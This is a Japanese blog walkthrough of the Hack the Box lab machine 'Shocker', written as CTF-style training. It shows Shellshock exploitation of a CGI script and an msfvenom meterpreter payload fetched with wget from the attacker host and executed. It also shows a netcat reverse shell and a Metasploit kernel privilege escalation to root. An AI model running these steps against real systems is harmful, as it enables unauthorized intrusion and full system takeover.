【Hack the Box write-up】Shocker

February 28, 2020

はじめに

筆者は Hack the Box 初心者です。 何か訂正や補足、アドバイスなどありましたら、コメントか Twitter までお願いします。 さんぽし(@sanpo_shiho) | Twitter

cheat sheet

以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。 github | sanposhiho/MYCHEATSHEET

machine について

難易度は easy です。

スクリーンショット 2020-02-27 23.56.07.png

nmap

kali@kali:~$ nmap -A -Pn 10.10.10.56
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-27 10:06 EST
Nmap scan report for 10.10.10.56
Host is up (0.18s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.98 seconds

80 番ポートをブラウザで見てみる

特に情報はないです

スクリーンショット 2020-02-28 0.10.02.png

dirbuster を使う

スクリーンショット 2020-02-28 0.12.05.png

スクリーンショット 2020-02-28 0.13.05.png

/cgi-bin/が見つかりました。(アクセスはできませんが。)

CGI とは

http://www5.plala.or.jp/vaio0630/hp/cgi.htm

CGI とは Common Gateway Interface の略で、Web サーバー上でプログラムを使って処理した結果を表示させる機能のことです。

https://www.itmedia.co.jp/help/tips/linux/l0264.html

http サーバ「Apache」の標準設定では,cgi-bin/と名づけられたディレクトリ下でのみ CGI の実行を許可している。

CGI のファイルは拡張子が .sh , .pl, .cgiだそうなので /cgi-bin/ 内を探し直します。

dirbuster で CGI のファイルを探す

スクリーンショット 2020-02-28 0.25.46.png

何か見つかりました。 スクリーンショット 2020-02-28 0.30.18.png

user.sh を見る

kali@kali:~$ curl http://10.10.10.56/cgi-bin/user.sh
Content-Type: text/plain

Just an uptime test script

 10:33:15 up 37 min,  0 users,  load average: 0.00, 0.02, 0.00

shellshock について

CGI プログラムには shellshock と呼ばれる有名な exploit があります。 bash に存在する脆弱性 「Shellshock」:「CVE-2014-7169」および「CVE-2014-6271」

以下の資料が仕組みを理解する上でわかりやすかったです。 Shellshock の顛末書(pdf がダウンロードされます)

以下の点を利用して http 経由で shellshock の攻撃を行うことができます。

https://community.digicert.com/ja/blogs.entry.html/2016/05/25/shellshockcve-2014-6271.html

CGI プログラムに対しては、User-Agent など HTTP ヘッダは環境変数経由で渡されます。

shellshock が使えるか調べる

burb を使います。適当に設定して、

スクリーンショット 2020-02-28 0.34.19.png

リクエストを送ります。

kali@kali:~$ curl http://127.0.0.1:1212/cgi-bin/user.sh

これを repeater に送ります。 スクリーンショット 2020-02-28 0.34.32.png

そのまま send すると先ほどのレスポンスが返ってきます。 スクリーンショット 2020-02-28 0.34.41.png

shellshock が使えるかを User-Agent を書き換えて調べます。 スクリーンショット 2020-02-28 0.41.21.png

何かエラーが起きてしまいました。shellshock の例として挙げられているコマンドでは大体 echo; が一度間に挟まっていたのでいれてみます。 スクリーンショット 2020-02-28 0.41.44.png

成功しました。test が出力されています。

echo を挟む必要があったのは Header と Body の間に改行を入れないといけないからっぽいです。

ping してみる

tcpdump を使ってみたかったので試します。 スクリーンショット 2020-02-28 1.04.06.png

kali@kali:~$ sudo tcpdump -i tun0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
11:03:06.965319 IP 10.10.14.13.59386 > 10.10.10.56.http: Flags [S], seq 2312320610, win 64240, options [mss 1460,sackOK,TS val 2500169298 ecr 0,nop,wscale 7], length 0
11:03:07.143230 IP 10.10.10.56.http > 10.10.14.13.59386: Flags [S.], seq 202642377, ack 2312320611, win 28960, options [mss 1357,sackOK,TS val 952199 ecr 2500169298,nop,wscale 6], length 0
11:03:07.143283 IP 10.10.14.13.59386 > 10.10.10.56.http: Flags [.], ack 1, win 502, options [nop,nop,TS val 2500169476 ecr 952199], length 0
11:03:07.143419 IP 10.10.14.13.59386 > 10.10.10.56.http: Flags [P.], seq 1:134, ack 1, win 502, options [nop,nop,TS val 2500169476 ecr 952199], length 133: HTTP: GET /cgi-bin/user.sh HTTP/1.1
11:03:07.322693 IP 10.10.10.56.http > 10.10.14.13.59386: Flags [.], ack 134, win 470, options [nop,nop,TS val 952244 ecr 2500169476], length 0
11:03:07.462629 IP 10.10.10.56.http > 10.10.14.13.59386: Flags [P.], seq 1:152, ack 134, win 470, options [nop,nop,TS val 952278 ecr 2500169476], length 151: HTTP: HTTP/1.1 200 OK
11:03:07.462712 IP 10.10.14.13.59386 > 10.10.10.56.http: Flags [.], ack 152, win 501, options [nop,nop,TS val 2500169795 ecr 952278], length 0
11:03:07.462813 IP 10.10.10.56.http > 10.10.14.13.59386: Flags [F.], seq 152, ack 134, win 470, options [nop,nop,TS val 952278 ecr 2500169476], length 0
11:03:07.463741 IP 10.10.14.13.59386 > 10.10.10.56.http: Flags [F.], seq 134, ack 153, win 501, options [nop,nop,TS val 2500169796 ecr 952278], length 0
11:03:07.640713 IP 10.10.10.56.http > 10.10.14.13.59386: Flags [.], ack 135, win 470, options [nop,nop,TS val 952323 ecr 2500169796], length 0

^C
10 packets captured
10 packets received by filter
0 packets dropped by kernel

reverseshell をとる

するっと取れました。 スクリーンショット 2020-02-28 1.28.14.png

kali@kali:~$ nc -lvnp 1616
listening on [any] 1616 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.56] 57580
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ cd /home/shelly
cd /home/shelly

shelly@Shocker:/home/shelly$ cat user.txt

user.txt を取れました。

meterpreter に繋ぎたい

msfvenom を使って meterpreter につなぐためのコードを作り、python の SimpleHTTPServer を起動します。

kali@kali:~$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.13 LPORT=1313 -f elf > shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
kali@kali:~$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

別で mefconsole を起動しておきます

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > set lhost 10.10.14.13
lhost => 10.10.14.13
msf5 exploit(multi/handler) > set lport 1313
lport => 1313
msf5 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.13      yes       The listen address (an interface may be specified)
   LPORT  1313             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/handler) >
[*] Started reverse TCP handler on 10.10.14.13:1313

先ほどの reverseshell から

shelly@Shocker:/home/shelly$ wget http://10.10.14.13:8000/shell.elf
wget http://10.10.14.13:8000/shell.elf
--2020-02-27 12:07:09--  http://10.10.14.13:8000/shell.elf
Connecting to 10.10.14.13:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 207 [application/octet-stream]
Saving to: 'shell.elf'

     0K                                                       100% 32.0M=0s

2020-02-27 12:07:10 (32.0 MB/s) - 'shell.elf' saved [207/207]


shelly@Shocker:/home/shelly$ chmod 700 shell.elf
chmod 700 shell.elf
shelly@Shocker:/home/shelly$ ./shell.elf
./shell.elf

これで msfconsole 側を見てみると反応が返ってきています。

[*] Meterpreter session 1 opened (10.10.14.13:1313 -> 10.10.10.56:39484) at 2020-02-27 11:41:24 -0500

msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

suggester を使う

reverseshell をとって何をすれば良いか分からなかったので、suggester を使いたくてわざわざ meterpreter に繋ぎ直しました。

meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > search suggester

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester


msf5 exploit(multi/handler) > use 0
msf5 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf5 post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION          1                yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits

msf5 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.10.56 - Collecting local exploits for x86/linux...
[*] 10.10.10.56 - 34 exploit checks are being tried...
[+] 10.10.10.56 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable.
[+] 10.10.10.56 - exploit/linux/local/glibc_realpath_priv_esc: The target appears to be vulnerable.
[+] 10.10.10.56 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[*] Post module execution completed

suggest された exploit を使う

msf5 post(multi/recon/local_exploit_suggester) > search exploit/linux/local/bpf_sign_extension_priv_esc

Matching Modules
================

   #  Name                                             Disclosure Date  Rank   Check  Description
   -  ----                                             ---------------  ----   -----  -----------
   0  exploit/linux/local/bpf_sign_extension_priv_esc  2017-11-12       great  Yes    Linux BPF Sign Extension Local Privilege Escalation


msf5 post(multi/recon/local_exploit_suggester) > use 0
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > options

Module options (exploit/linux/local/bpf_sign_extension_priv_esc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   COMPILE  Auto             yes       Compile on target (Accepted: Auto, True, False)
   SESSION                   yes       The session to run this module on.


Exploit target:

   Id  Name
   --  ----
   0   Auto


msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > run

[*] Started reverse TCP handler on 10.0.3.15:4444
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > options

Module options (exploit/linux/local/bpf_sign_extension_priv_esc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   COMPILE  Auto             yes       Compile on target (Accepted: Auto, True, False)
   SESSION  1                yes       The session to run this module on.


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.3.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Auto


msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set lhost 10.10.14.13
lhost => 10.10.14.13
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > run

[*] Started reverse TCP handler on 10.10.14.13:4444
[*] Writing '/tmp/.o6n64nkI' (34784 bytes) ...
[*] Writing '/tmp/.NNAJke2W' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (985320 bytes) to 10.10.10.56
[*] Cleaning up /tmp/.NNAJke2W and /tmp/.o6n64nkI ...
[*] Meterpreter session 2 opened (10.10.14.13:4444 -> 10.10.10.56:52842) at 2020-02-27 11:56:36 -0500

meterpreter > shell
Process 1882 created.
Channel 1 created.
whoami
root
pwd
/home/shelly
cd /root
ls
root.txt
cat root.txt

root が取れました。

終わりに

今回は他の人の writeup を見ずに root までいけました。 (実は完全に見なかったのは初めて) これからも精進します!

他の方法

https://xd3m0n.xyz/htb_shocker/

  • sudo -lperl を password なしで root 権限で使えることを見つけてそこから攻めてる. スマート
このエントリーをはてなブックマークに追加